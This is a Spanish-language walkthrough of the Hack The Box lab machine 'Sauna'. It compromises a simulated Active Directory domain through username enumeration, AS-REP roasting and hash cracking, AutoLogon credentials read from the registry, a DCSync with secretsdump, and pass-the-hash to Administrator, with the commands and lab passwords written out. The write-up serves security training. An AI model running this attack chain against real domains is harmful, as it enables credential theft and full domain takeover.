Sauna

Publicado: 20 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy OS: Windows

📝 Descripción

Sauna es una máquina Windows de dificultad fácil que simula un entorno de Active Directory corporativo. La máquina presenta un sitio web de un banco ficticio que revela información sobre empleados, lo que permite la enumeración de usuarios válidos del dominio. La explotación inicial se logra mediante AS-REP Roasting contra un usuario sin pre-autenticación Kerberos habilitada. La escalada de privilegios se realiza a través del descubrimiento de credenciales hardcodeadas en el registro de Windows y culmina con un ataque DCSync para obtener acceso administrativo completo.


🎯 Puntos Clave

  • Reconocimiento web: Extracción de nombres de empleados del sitio web corporativo

  • Generación de usernames: Uso de username-anarchy para crear listas de usuarios potenciales

  • Enumeración de usuarios: Kerbrute para validar usuarios en el dominio

  • AS-REP Roasting: Explotación de usuarios sin pre-autenticación Kerberos

  • Credenciales en registro: Descubrimiento de credenciales de AutoLogon

  • Análisis con BloodHound: Identificación de privilegios DCSync

  • DCSync Attack: Volcado completo de hashes del dominio


🔭 Reconocimiento

🏓 Ping para verificación en base a TTL

❯ ping -c2 10.10.10.175         
PING 10.10.10.175 (10.10.10.175) 56(84) bytes of data.
64 bytes from 10.10.10.175: icmp_seq=1 ttl=127 time=46.6 ms
64 bytes from 10.10.10.175: icmp_seq=2 ttl=127 time=47.7 ms

--- 10.10.10.175 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 46.611/47.153/47.695/0.542 ms

💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.

🚀 Escaneo de puertos

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.175 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports                                                                      
53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49673,49674,49677,49689,49697

🔍 Enumeración de servicios

nmap -sC -sV -p$ports 10.10.10.175 -oN services.txt    
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-20 18:22 CEST
Nmap scan report for 10.10.10.175
Host is up (0.051s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Egotistical Bank :: Home
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-20 23:22:22Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49668/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49697/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m00s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-06-20T23:23:14
|_  start_date: N/A

⚠️ Añadimos el siguiente vhost a nuestro fichero /etc/hosts:

echo "10.10.10.175 EGOTISTICAL-BANK.LOCAL" | sudo tee -a /etc/hosts

📋 Análisis de Servicios Detectados

  • Puerto 53 (DNS): Servidor DNS del dominio

  • Puerto 80 (HTTP): Sitio web corporativo del banco

  • Puerto 88 (Kerberos): Servicio de autenticación del dominio

  • Puerto 389/636 (LDAP/LDAPS): Servicios de directorio

  • Puerto 445 (SMB): Compartición de archivos

  • Puerto 5985 (WinRM): Administración remota de Windows

  • Puertos RPC varios: Servicios de llamadas remotas


🌐 Enumeración de Servicios

🗂️ Puerto 445 - SMB

Dado que no tenemos credenciales, intentamos enumeración con sesión nula pero no obtenemos información útil:

smbclient -N -L //10.10.10.175
Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.175 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
enum4linux 10.10.10.175
# No devuelve información útil debido a restricciones de acceso
netexec ldap 10.10.10.175 -u '' -p '' --users                   
LDAP        10.10.10.175    389    SAUNA            [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
LDAP        10.10.10.175    389    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\: 
LDAP        10.10.10.175    389    SAUNA            [*] Enumerated 0 domain users: EGOTISTICAL-BANK.LOCAL

🌐 Puerto 80 - HTTP (Egotistical Bank)

Al acceder al sitio web encontramos una página corporativa del banco ficticio "Egotistical Bank":

🔍 Fuzzing de directorios

dirsearch -u http://10.10.10.175 -x 503,404,403

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://10.10.10.175/

[18:29:49] Scanning: 
[18:29:55] 200 -   30KB - /about.html
[18:30:03] 200 -   15KB - /contact.html
[18:30:03] 301 -   147B - /css  ->  http://10.10.10.175/css/
[18:30:05] 301 -   149B - /fonts  ->  http://10.10.10.175/fonts/
[18:30:07] 301 -   150B - /images  ->  http://10.10.10.175/images/
[18:30:07] 200 -   32KB - /index.html

👥 Extracción de nombres de empleados

En la página /about.html encontramos información valiosa sobre los empleados del banco:

  • Fergus Smith - Senior Manager

  • Shaun Coins - Marketing Manager

  • Sophie Driver - Account Manager

  • Bowie Taylor - HR Manager

  • Hugo Bear - CEO

  • Steven Kerb - Software Engineer

Creamos una lista con estos nombres para generar posibles usernames:

# users.txt
Fergus Smith
Shaun Coins
Sophie Driver
Bowie Taylor
Hugo Bear
Steven Kerb

🎯 Explotación Inicial

👤 Generación de Usernames

Utilizamos username-anarchy para generar diferentes combinaciones de nombres de usuario:

username-anarchy --input-file users.txt --select-format first,flast,first.last,firstl > unames.txt

Esto genera combinaciones como:

  • fergus, fsmith, fergus.smith, ferguss

  • shaun, scoins, shaun.coins, shauns

  • sophie, sdriver, sophie.driver, sophied

  • etc.

🔐 Enumeración de usuarios con Kerbrute

Usamos la herramienta kerbrute para tratar de enumerar usuarios válidos en el dominio

kerbrute userenum -d egotistical-bank.local --dc 10.10.10.175 unames.txt   

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 06/20/25 - Ronnie Flathers @ropnop

2025/06/20 18:47:09 >  Using KDC(s):
2025/06/20 18:47:09 >  	10.10.10.175:88

2025/06/20 18:47:09 >  [+] VALID USERNAME:	fsmith@egotistical-bank.local
2025/06/20 18:47:09 >  Done! Tested 24 usernames (1 valid) in 0.149 seconds

¡Excelente! Encontramos un usuario válido: fsmith (Fergus Smith)

🎫 AS-REP Roasting

Verificamos si el usuario fsmith tiene la pre-autenticación de Kerberos deshabilitada:

impacket-GetNPUsers egotistical-bank.local/fsmith -no-pass -dc-ip 10.10.10.175
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Getting TGT for fsmith
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:a324[...hash...]

¡Perfecto! El usuario tiene AS-REP Roasting habilitado. Guardamos el hash para crackearlo.

🔨 Cracking del hash

hashcat -m 18200 -a 0 fsmith_hash /usr/share/wordlists/rockyou.txt
# Resultado: Thestrokes23

¡Credenciales obtenidas!

  • Usuario: fsmith

  • Contraseña: Thestrokes23

✅ Verificación de acceso

netexec winrm 10.10.10.175 -u fsmith -p Thestrokes23
WINRM       10.10.10.175    5985   SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Authenticathed!)

🚪 Acceso Inicial

💻 Conexión vía WinRM

evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23 

Evil-WinRM shell v3.7
 
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami
egotisticalbank\fsmith

🏃‍♂️ Captura de User Flag

*Evil-WinRM* PS C:\Users\FSmith\Desktop> dir

    Directory: C:\Users\FSmith\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        6/20/2025   4:19 PM             34 user.txt

*Evil-WinRM* PS C:\Users\FSmith\Desktop> type user.txt
[USER_FLAG_HERE]

🔝 Escalada de Privilegios

🔍 Enumeración del sistema

🗝️ Descubrimiento de credenciales en el registro

Realizamos enumeración básica del sistema en busca de vectores de escalada y encontramos credenciales almacenadas en el registro de Windows:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    AutoAdminLogon    REG_SZ    1
    DefaultUserName    REG_SZ    EGOTISTICALBANK\svc_loanmanager
    DefaultPassword    REG_SZ    Moneymakestheworldgoround!
    DefaultDomainName    REG_SZ    EGOTISTICALBANK

¡Nueva credencial encontrada!

  • Usuario: svc_loanmgr (svc_loanmanager)

  • Contraseña: Moneymakestheworldgoround!

🔄 Movimiento lateral

Verificamos si esta nueva cuenta tiene acceso WinRM:

netexec winrm 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
WINRM       10.10.10.175    5985   SAUNA            [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround! (Authenticathed!)

Nos conectamos con la nueva cuenta:

evil-winrm -i 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!'

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> whoami
egotisticalbank\svc_loanmgr

🩸 Análisis con BloodHound

Para analizar mejor los privilegios y relaciones en el dominio, utilizamos SharpHound:

# Subimos SharpHound
*Evil-WinRM* PS C:\Temp> upload SharpHound.exe

# Ejecutamos la recolección de datos
*Evil-WinRM* PS C:\Temp> .\SharpHound.exe -c All --zipfilename SAUNA

# Descargamos los resultados
*Evil-WinRM* PS C:\Temp> download 20250620170139_SAUNA.zip

📊 Análisis de privilegios

Una vez cargamos los datos en BloodHound y marcamos svc_loanmgr como "Owned", descubrimos que este usuario tiene privilegios especiales:

  • GetChanges: Permite leer cambios en el directorio

  • GetChangesAll: Permite leer todos los cambios, incluyendo secretos

Estos privilegios nos permiten realizar un ataque DCSync para volcar todos los hashes del dominio.

💀 Ataque DCSync

impacket-secretsdump egotistical-bank.local/svc_loanmgr@10.10.10.175
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Password: [Moneymakestheworldgoround!]
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
[*] Cleaning up...

¡Hash del Administrador obtenido!

  • Hash NTLM: <REDACTED>


👑 Acceso como Administrador

🔐 Pass The Hash

Utilizamos el hash NTLM del administrador para obtener acceso completo:

evil-winrm -i 10.10.10.175 -u Administrator -H <REDACTED>

Evil-WinRM shell v3.7
     
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
egotisticalbank\administrator

🏁 Captura de Root Flag

*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        6/20/2025   4:19 PM             34 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[ROOT_FLAG_HERE]

Last updated